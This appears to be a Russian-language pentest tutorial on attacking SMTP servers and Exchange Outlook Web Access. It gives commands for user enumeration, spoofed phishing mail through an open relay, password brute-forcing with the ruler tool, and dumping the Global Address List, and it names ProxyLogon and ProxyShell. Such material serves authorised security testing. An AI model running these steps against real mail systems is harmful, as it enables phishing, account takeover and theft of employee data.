Часто при пентесте возникает ситуация, когда при скане портов можно наткнуться на открытый 25 порт, на котором висит SMTP сервер, но что же можно с этим поделать?
Самым первым действием можно попробовать просто подключиться к самому серверу
nc -vn ip 25
В данном случае уже можно получить баннер SMTP сервера и поискать готовые сплойты
Бывали случаи, когда SMTP сервер не требовал аутентификации и позволял отправлять почтовые письма от любого юзера другому любому юзеру, что будет отличным началом для последующего фишинга. Но что делать, если на этапе разведки нам не удалось получить достаточное количество корпоративных емэйлов сотрудников?
Тут нам поможет user enumeration(брут учеток), который можно сделать через готовую утилиту smtp-user-enum, написанную на питоне
pip install smtp-user-enum
Утилита имеет несколько режимов, которые используются при неудачной отработке других
VRFY mode(default)
smtp-user-enum -U /usr/share/wordlists/users.txt mail.example.tld 25
EXPN mode
smtp-user-enum -m EXPN -U /usr/share/wordlists/users.txt mail.example.tld 25
RCPT mode
smtp-user-enum -m RCPT -U /usr/share/wordlists/users.txt mail.example.tld 25
Также существует готовый модуль в metasploit для перебора пользователей на smtp сервере
msf > use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(smtp_enum) set RHOSTS <IP address/target>
msf auxiliary(smtp_enum) > set rport 25
msf auxiliary(smtp_enum) set USER_FILE <address of file>
msf auxiliary(smtp_enum) run
После того как мы нашли валидные мэйлы уже можно отправлять сообщения
MAIL FROM: support@domain.com
250 ok
RCPT TO: user@domain.com
250 ok
data
354 End data with <CR><LF>.<CR><LF>
SUBJECT: Тема письма
фишинговый текст
. (ставится с новой строки, чтобы закончить текст письма)
250 ok
В контексте темы поста рассмотрим ситуацию, когда мы натыкаемся на Microsoft Exchange Server, а именно на Outlook Web Access, веб-интерфейс, предоставляющий пользователю возможность отправлять сообщения, добавлять контакты, вести календарь и планы.
Для поиска эксплойтов можно узнать версию OWA следующим скриптом
sudo python3 get_exchange_version.py https://mail.target.com
В отстутствии списка валидных почт, можно воспользоваться Time Based брутфорсом, который иногда срабатывает. Для этого запустим Intruder в Burp Suite, подготовим словарь и начнем перебирать пользователей. После выполнения Sniper атаки(Режим работы Intruder) отфильтруем запросы по времени и увидим, что у валидных пользователей время обработки запроса будет в разы больше.
Можно воспользоваться одними из самых популярных CVE для OWA
ProxyLogon
ProxyShell
Для уже найденных пользователей можно сбрутить пароль также через Intruder, либо через инструмент ruler
wget https://github.com/sensepost/ruler/releases/download/2.4.1/ruler-linux64
chmod +x ruler-linux64
./ruler-linux64 --domain domain.com brute --users usernames.txt --passwords passwords.txt
После успешной аутентификации можно не только отправлять письма, либо читать переписки, но и собрать весьма полезную информацию из календаря, либо cписок контаков GAL(Global Address List)
Для автоматизации сбора глобального списка адресов можем опять использовать ruler
./ruler-linux64 --email user@targetdomain.com abk dump --output /tmp/gal.txt
